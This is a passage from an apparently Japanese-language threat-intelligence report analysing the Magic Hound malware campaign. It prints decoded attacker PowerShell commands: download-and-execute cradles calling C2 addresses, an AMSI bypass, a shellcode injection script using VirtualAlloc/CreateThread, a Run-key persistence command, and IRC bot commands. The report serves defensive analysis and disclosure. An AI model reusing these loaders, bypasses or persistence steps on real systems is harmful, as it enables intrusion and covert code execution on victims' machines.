この文字列は、マクロ内の悪意のあるコードを実行するためにマクロを有効化するようユーザーをだまそうと試みるものです。マクロが実行されると、バックグラウンドで発生している悪意のある活動についてユーザーにあまり疑いを抱かせないようにしようとして、正規文書のコンテンツを含んだ表を表示します。このマクロには、リモート サーバからコンテンツのダウンロードを試みる悪意のあるコードが含まれています。

このマクロはPowerShellを使用して、使用可能な2つの手法の1つを使ってリモート サーバからシェルコードベースのペイロードをダウンロードします。最初の手法はやや単純で、PowerShellの"iex"関数を使用してリモート サーバから取得した文字列を実行します。このマクロは以下のコマンドを実行して最初にこの手法を実行します。  
powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')"

|---|----------------------------------------------------------------------------------------------------------------------------------------|
| 1 | powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')" |

上記コードは以下のHTTPリクエストを生成し、C2サーバがPowerShellで実行されるスクリプトでそれに応答します。

GET /eiloShaegae1 HTTP/1.1  
Host: 139.59.46\[.\]154:3485  
Connection: Keep-Alive

2つ目の方法は、シェルコードのバッファを実行するためのスレッドを作成するのにPowerShellを使用します。私たちはこれについて、攻撃者が[Magic Unicorn](https://github.com/trustedsec/unicorn)ソース コードから取得したと考えています。Unicornソース コードにはこの特定のPowerShellコマンドについてのコメントが含まれ、"ネイティブx86シェルコードによる1行シェルコード インジェクション"として説明されます。

このシェルコードは、追加シェルコードを複合化する役目を担うスタブから始まります。追加シェルコードを複合化するために、このスタブ コードは、0x6CAF9362や追加シェルコードの最初のDWORDであるXORなど、初期のキーで始まります。その後、結果として得られたDWORDを、スタブコードが2つ目とそれ以降のDWORDを複合化するために使用するキーに追加します。追加シェルコードを複合化した後、特に、API関数名を解決するためのblock\_api.asmコードおよび追加シェルコードを取得してシステムで実行するためのblock\_reverse\_http.asmコードを使用して、関数シェルコードがMetasploit Frameworkの一部であることを突き止めました。シェルコードを作成するために使用されたアセンブリ コードは以下から入手できます。

[https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block\_api.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm)

[https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block\_reverse\_http.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm)

シェルコードの目的は、URL "hxxp://45.76.128\[.\]165:4443/0w0O6"に対するHTTPリクエストを使用して実行するための追加のシェルコードを取得することです。このURLでホストされているシェルコードについては、はっきりはわかりませんが、Meterpreterのような追加のシェルコードベースのペイロードがこのシェルコードによって提供されている可能性があります。

2つのロールオーバー配信文書(SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634bおよびSHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2)は、URL hxxp://139.59.46\[.\]154:3485/eiloShaegae1と通信し実行する追加のコードの取得を試行しました。2017年1月1日に、以下のデータとともに、上記HTTPリクエストに応答しているこのURLが観察されました。  
powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF..snip..

|---|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF..snip.. |

おわかりのとおり、C2サーバはシステム上で実行するPowerShellコマンドで応答します。PowerShellコマンドは以下のようにデコードされます。  
$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA' if ($Env:PROCESSOR\_ARCHITECTURE -eq 'AMD64') { $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command IEX $exec } else { $exec = \[System.Convert\]::FromBase64String($command) $exec = \[Text.Encoding\]::Unicode.GetString($exec) IEX $exec }

|-------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | $command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA' if ($Env:PROCESSOR\_ARCHITECTURE -eq 'AMD64') { $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command IEX $exec } else { $exec = \[System.Convert\]::FromBase64String($command) $exec = \[Text.Encoding\]::Unicode.GetString($exec) IEX $exec } |

上記スクリプトは、システム アーキテクチャをチェックして、それがx64マシンであるかどうかを判別し、base64でエンコードされたコマンドの実行を試みます。このコマンドは以下のようにデコードされます。  
\[Net.ServicePointManager\]::ServerCertificateValidationCallback = {$true}; try{ \[Ref\].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }catch{} IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46\[.\]154:3485 /IMo8oosieVai');

|-----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 | \[Net.ServicePointManager\]::ServerCertificateValidationCallback = {$true}; try{ \[Ref\].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) }catch{} IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46\[.\]154:3485 /IMo8oosieVai'); |

このデコードされたPowerShellスクリプトはHTTPを使用して、URL "hxxp://139.59.46\[.\]154:3485 /IMo8oosieVai"からのファイルのダウンロードと実行を試みます。C2サーバは、このHTTP GETリクエストに対して、大量のデータで応答します。このデータにはPowerShellスクリプトが含まれ、さらにその中に一連のbase64でエンコードされたチャンクとして埋め込まれたDLLペイロードも含まれます。これは、以下のコードを使用してデコードされます。  
$PEBytesTotal = \[System.Convert\]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11+$PEBytes12+$PEBytes13+$PEBytes14+$PEBytes15+$PEBytes16+$PEBytes17+$PEBytes18+$PEBytes19+$PEBytes20+$PEBytes21+$PEBytes22+$PEBytes23+$PEBytes24+$PEBytes25+$PEBytes26+$PEBytes27+$PEBytes28+$PEBytes29+$PEBytes30+$PEBytes31+$PEBytes32+$PEBytes33+$PEBytes34+$PEBytes35+$PEBytes36+$PEBytes37+$PEBytes38+$PEBytes39+$PEBytes40+$PEBytes41+$PEBytes42+$PEBytes43+$PEBytes44+$PEBytes45+$PEBytes46+$PEBytes47+$PEBytes48+$PEBytes49+$PEBytes50+$PEBytes51+$PEBytes52+$PEBytes53+$PEBytes54+$PEBytes55+$PEBytes56+$PEBytes57+$PEBytes58+$PEBytes59+$PEBytes60+$PEBytes61+$PEBytes62+$PEBytes63+$PEBytes64+$PEBytes65+$PEBytes66+$PEBytes67+$PEBytes68+$PEBytes69+$PEBytes70+$PEBytes71+$PEBytes72+$PEBytes73+$PEBytes74+$PEBytes75+$PEBytes76+$PEBytes77+$PEBytes78+$PEBytes79+$PEBytes80+$PEBytes81+$PEBytes82+$PEBytes83+$PEBytes84+$PEBytes85+$PEBytes86+$PEBytes87)

|---|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | $PEBytesTotal = \[System.Convert\]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11+$PEBytes12+$PEBytes13+$PEBytes14+$PEBytes15+$PEBytes16+$PEBytes17+$PEBytes18+$PEBytes19+$PEBytes20+$PEBytes21+$PEBytes22+$PEBytes23+$PEBytes24+$PEBytes25+$PEBytes26+$PEBytes27+$PEBytes28+$PEBytes29+$PEBytes30+$PEBytes31+$PEBytes32+$PEBytes33+$PEBytes34+$PEBytes35+$PEBytes36+$PEBytes37+$PEBytes38+$PEBytes39+$PEBytes40+$PEBytes41+$PEBytes42+$PEBytes43+$PEBytes44+$PEBytes45+$PEBytes46+$PEBytes47+$PEBytes48+$PEBytes49+$PEBytes50+$PEBytes51+$PEBytes52+$PEBytes53+$PEBytes54+$PEBytes55+$PEBytes56+$PEBytes57+$PEBytes58+$PEBytes59+$PEBytes60+$PEBytes61+$PEBytes62+$PEBytes63+$PEBytes64+$PEBytes65+$PEBytes66+$PEBytes67+$PEBytes68+$PEBytes69+$PEBytes70+$PEBytes71+$PEBytes72+$PEBytes73+$PEBytes74+$PEBytes75+$PEBytes76+$PEBytes77+$PEBytes78+$PEBytes79+$PEBytes80+$PEBytes81+$PEBytes82+$PEBytes83+$PEBytes84+$PEBytes85+$PEBytes86+$PEBytes87) |

PowerShellスクリプトは、DLLペイロードをディスクに保存せずに直接メモリにロードします。Pupyペイロードは以下の設定を使用して生成されました。設定は、C2 IP/ポートおよび"obfs3"トランスポートの使用を示しています。  
LAUNCHER\_ARGS=\['--host', '139.59.46\[.\]154:3543', '-t', 'obfs3'\]

|---|---------------------------------------------------------------------|
| 1 | LAUNCHER\_ARGS=\['--host', '139.59.46\[.\]154:3543', '-t', 'obfs3'\] |

これは、敵対者が以下のPupyモジュールの大半を使用して、配信文書で使用されたPowerShellコマンドを作成したことを表しています。  
[https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1\_oneliner.py](https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py)

#### **MAGICHOUND.FETCH**

私たちがMagicHound.Fetchと呼んでいる、このグループによって使用されたカスタム ローダー トロイの木馬は、システムへの持続的なアクセスをセットアップするとともに、セカンダリ ペイロードをダウンロードして実行するためにリモート サーバに到達する役割を担っています。持続性をセットアップするために、ローダーは"c:\\temp"という名前のフォルダを作成し、属性を非表示として、Windows Explorerのビューにフォルダが表示されないようにシステム フォルダを設定します。その後、"rr.exe"という名前のファイル(SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e)をこのフォルダに書き込み、特定のコマンド ライン引数を使用してそれを実行します。私たちは、分析時に、以下の引数で"rr.exe"を実行している1つのローダーを見つけました。  
open cmd.exe /c c:\\\\temp\\\\rr.exe SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run "C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\spp.exe" iexplore

|---|--------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | open cmd.exe /c c:\\\\temp\\\\rr.exe SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run "C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\spp.exe" iexplore |

システムにドロップされた"rr.exe"ペイロードは、提供されたコマンド ライン引数を使用して、レジストリ キーを作成し、システムが起動するたびにペイロードを実行する以外は何も実行しません。上記の例では、"spp.exe"実行可能ファイルがauto-runレジストリ キーに追加されました。

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\iexplore

Fetchサンプルの多くは、AESとともに埋め込まれた文字列を同じキー"agkrhfpdbvhdhrkj"を使用して暗号化することで、それらの機能の難読化を試みました。ただし、ローダーの主な目的には以下のコマンドの実行が含まれていました。  
/c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA\<snip\>

|---|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | /c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA\<snip\> |

base64でエンコードされたコマンドは以下のようにデコードされます。  
$0o8e = '$f9B = ''\[DllImport("kernel32.dll")\]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\[DllImport("kernel32.dll")\]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\[DllImport("msvcrt.dll")\]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name "Win32" -namespace Win32Functions -passthru;\[Byte\[\]\];\[Byte\[\]\]$z = \<shellcode REDACTED for brevity\>;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset(\[IntPtr\]($rJr.ToInt32()+$i), $z\[$i\], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = \[System.Convert\]::ToBase64String(\[System.Text.Encoding\]::Unicode.GetBytes($0o8e));$DKn = "-enc ";if(\[IntPtr\]::Size -eq 8){$b32 = $env:SystemRoot + "\\syswow64\\WindowsPowerShell\\v1.0\\powershell";iex "\& $b32 $DKn $e"}else{;iex "\& powershell $DKn $e";}

|---|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | $0o8e = '$f9B = ''\[DllImport("kernel32.dll")\]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\[DllImport("kernel32.dll")\]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\[DllImport("msvcrt.dll")\]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name "Win32" -namespace Win32Functions -passthru;\[Byte\[\]\];\[Byte\[\]\]$z = \<shellcode REDACTED for brevity\>;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset(\[IntPtr\]($rJr.ToInt32()+$i), $z\[$i\], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e = \[System.Convert\]::ToBase64String(\[System.Text.Encoding\]::Unicode.GetBytes($0o8e));$DKn = "-enc ";if(\[IntPtr\]::Size -eq 8){$b32 = $env:SystemRoot + "\\syswow64\\WindowsPowerShell\\v1.0\\powershell";iex "\& $b32 $DKn $e"}else{;iex "\& powershell $DKn $e";} |

上記のデコードされたコマンドは、シェルコードを保存し、それを実行するためのスレッドを作成するために使用するバッファを構築します。私たちは、[Magic Unicorn](https://github.com/trustedsec/unicorn/blob/master/unicorn.py)のソース コード内で上記のコマンドを見つけましたが、これはMagic Hound配信文書内でも使用されていました。このコマンドによって実行されたシェルコードは、配信文書のものと同じです。擬態的には、Metasploitから取り出され、以下のURLに対するHTTPリクエストを使用して追加のシェルコードを取得し実行します。

http://www7.chrome-up\[.\]date/0m5EE

私たちは、C2サーバに強制的にペイロードを提供させることができなかったため、このURLでホストされているシェルコードについては、はっきりとはわかりません。ただし、すでに示唆したとおり、この敵対者はオープン ソースのMagic Unicornツールを使用してシェルコードベースのペイロードをロードしたと確信しています。攻撃者がUnicornで生成されたPowerShellスクリプト内でMetasploitシェルコードを使用したという事実から、この攻撃の最終的なペイロードがMeterpreter、つまりシェルコードベースのペイロードであると推測されます。

### PUPYローダー

Pupyには、さまざまな異なるプラットフォーム、特にWindows、OSX、LinuxでRATを実行するデフォルトのローダーが付属しています。Windowsシステムを感染させるためにPupyに付属の32ビットと64ビットの両方のDLLローダーを使用しているMagic Hound攻撃者が観察されています。このグループに関連付けられたデフォルト ローダーの3つのサンプルを収集し、以下の設定を抽出しました。

|------------------------------------------------------------------|---------------------------------------------------------------------------|
| **サンプルのSHA256**                                                  | **設定**                                                                    |
| 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 | LAUNCHER\_ARGS=\['--host', 'www1.chrome-up\[.\]date:4443', '-t', 'obfs3'\] |
| db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f | LAUNCHER\_ARGS=\['--host', 'www1.chrome-up\[.\]date:4443', '-t', 'obfs3'\] |
| 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 | LAUNCHER\_ARGS=\['--host', '139.59.46\[.\]154:3543', '-t', 'obfs3'\]       |

これらの設定は、このグループが完全修飾ドメイン名とIPアドレスの両方を使用して、Pupy C2サーバをホストしていることを示しています。また、設定から"obfs3" (The Threebfuscator)トランスポートを使用していることもわかります。これは、真のTCPベースの通信プロトコルを隠すための難読化手法です。"obfs3"はTorプロジェクトで使用されています。このトランスポートの仕様については、[Torプロジェクト](https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/doc/obfs3/obfs3-protocol-spec.txt)を参照してください。

### MAGICHOUND.DROPIT

また、Magic Hound攻撃活動は、私たちがMagicHound.DropItと名付けているカスタム ドロッパー ツールを使用しても発見されました。

分析したDropItトロイの木馬は、base64でエンコードされたデータの埋め込み済みブロブをデコードして、それらを正しい順序で結合することで、埋め込まれた実行可能ファイルを構築する実行可能ファイルです。収集したDropItサンプルのすべてで、ドロッパーは実行可能ファイルを、以下のファイル名のいずれかで、ユーザーの%TEMP%フォルダに保存し、ファイルを実行します。

* %TEMP%\\spp.exe
* %TEMP%\\sloo.exe
* %TEMP%\\spoo.exe
* %TEMP%\\vschos.exe

また、バインダー トロイの木馬のようなDropItを使用しているMagic Houndも見つかっています。これは特に、悪意のある実行可能ファイルとともに正規のおとりの実行可能ファイルをペイロードとしてドロップします。たとえば、私たちが分析したDropItサンプル(SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671)では、2つの実行可能ファイルがドロップされ、1つはは"%TEMP%\\flash\_update.exe"に保存され、正規のFlash Playerインストーラーでした。Magic Hound攻撃活動が、DropItトロイの木馬を使用して、自分たちのソーシャル エンジニアリングに適した正規のアプリケーションを実行していることは確かです。上記の例では、被害者に強制的にFlash Playerを更新させています。

### MAGICHOUND.RETRIEVER

別のトロイの木馬をインストールするDropItサンプルを見つけました。私たちは、これをMagicHound.Retrieverと呼んでいます。おおまかに言うと、RetrieverはMagic Houndに関連付けられたサーバからセカンダリ ペイロードをダウンロードする.NETダウンローダーです。トロイの木馬自体は他のMagic Houndツールとは似ていませんが、前述のとおり、Magic Houndローダーが持続型実行可能ファイルを保存するために作成する"c:\\temp"という名前のフォルダを作成します。フォルダ名は極めて一般的で、それ自体は際立った相関ポイントではありませんが、共有のインフラストラクチャと考え合わせると、二者間のつながりの忠実度はさらに高まります。

Retrieverトロイの木馬は、以下の名前空間を使用しています。

using pcchekapp.grp.ammar.samaneh;

Android。マルウェアは、Webサービス オブジェクトを作成することから始め、その設定内で以下のURLを使用します。

http:// service.chrome-up\[.\]date:8080 /WebService.asmx

その後、"SetLog2"という関数を呼び出します。これは、システムのIPアドレス、MACアドレスおよびホスト名の変数を設定します。パスワード変数は使用可能ですが、このサンプルでは使用されていません。コードは、システムに関する情報、特に、システムのローカルIPアドレス、MACアドレス、外部IPアドレスを収集します。コードは、"http://checkip.dyndns.org/"に対するHTTPリクエストを介して外部IPアドレスを取得し、正規表現を使用してHTTP応答からIPアドレスを見つけ出します。

これらの変数が設定されると、マルウェアはSoapHttpClientProtocolクラスを使用してC2サーバと通信し、C2サーバは次のように表れるHTTP POSTリクエストを発行します。

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image023.png)

上記リクエストからわかるとおり、SoapHttpClientProtocolクラスは巧妙にデータをHTTP POSTリクエストに構造化します。C2サーバとのそれ以降のすべてのやり取りでは同じSOAP Webサービスが使用されるため、生成されたすべてのHTTPリクエストは明らかになりません。代わりに、C2サーバからのトロイの木馬リクエストとC2サーバからのレスポンスという特定のSOAPアクションに注意を向けます(前出の例の"SOAPAction"フィールド、特に"SetLog2"を参照してください)。C2にシステム情報を送信後、マルウェアは"GetHasAnything"の2番目のリクエストを発行します。これは、C2サーバと通信して、サーバにトロイの木馬をインストールするためのセカンダリ バイナリがあるかどうかを問い合わせます。

C2サーバが"GetHasAnything"リクエストに対してレスポンスを提供した場合、マルウェアは"GetIdAbOne" SOAPメソッドを呼び出して、トロイの木馬がさらにC2とやり取りするために使用するシステムの一意のID (私たちはそう確信している)を取得します。この変数を受信後、トロイの木馬は"GetNameAbById"を呼び出してbase64文字列を取得します。これが、新たに作成された"c:\\temp" ("YzpcdGVtcFw="からデコードされた)フォルダに書き込まれるファイル名になります。その後、トロイの木馬は"GetAbById"を呼び出します。そこで、C2はc:\\tempに書き込むファイルのコンテンツ用のbase64文字列を提供します。C2サーバから一意のIDを取得後、トロイの木馬は"SetAbStatById"メソッドを呼び出して、C2サーバにステータス"1"を通知し、正常にファイル名とファイル データを受信したことをサーバに知らせます。

システムにファイルを書き込むと、トロイの木馬は"GetishideAbById" SOAPアクションを呼び出し、C2サーバが非表示ウィンドウ内に新たにドロップされたファイルの実行を望んでいるかどうかを判別します。このリクエストに続いて、"GetisrunasAbById"を呼び出し、トロイの木馬が"runas"を使用して昇格された権限でダウンロードされた実行可能ファイルを実行し、ユーザーにクリックさせるためのUACダイアログを表示する必要があるかどうかを判別します。

残念ながら、私たちはアクティブなC2サーバからセカンダリ ペイロードを取得することができませんでした。

### MAGICHOUND.LEASH

また、Magic Hound攻撃活動は、私たちがMagicHound.Leashと名付けているIRCボットを導入しても見つかりました。このツールは、C2通信にIRCを使用したバックドア トロイの木馬をインストールするDropItサンプルを見つけたときに検出されました。ボットは、977のハードコード化された候補の中からランダムな名前を選択して、IRCサーバを所有する敵対者に接続し、以下のIRCコマンドを使用してチャネルに参加します。

USER AS\_a # # :des  
NICK Conroy  
JOIN :#kalk

Leashは、IRCサーバにも接続されている必要のある敵対者から送信されたプライベート メッセージ(PRIVMSG)を介してコマンドを取得します。以下のコマンドを使用できます。

|-------------|----------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| **Command** | **SubCommand** | **Description**                                                                                                                                                                                                                 |
| VER         |                | Generates the following IRC client command that will be sent to the C2 server:  PRIVMSG : 8 LED= 20160124                                                                                                                 |
| KILL        |                | Trojan disconnects from the IRC server and terminates itself                                                                                                                                                                    |
| RESET       |                | Trojan disconnects from the IRC server and runs the executable again                                                                                                                                                            |
| OS          |                | Obtains the Windows version and responds to the C2 with the following message "PRIVMSG :":  Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info                    |
| !SH         | EXEC           | Not supported                                                                                                                                                                                                                   |
|             | MD             | Creates a specified directory. The Trojan will respond to the C2 with "PRIVMSG : \[\]". The message sent to the C2 will be "dir is maked." if successful or "dir is not maked" if unsuccessful.                                 |
|             | MKDIR          | Same as MD subcommand.                                                                                                                                                                                                          |
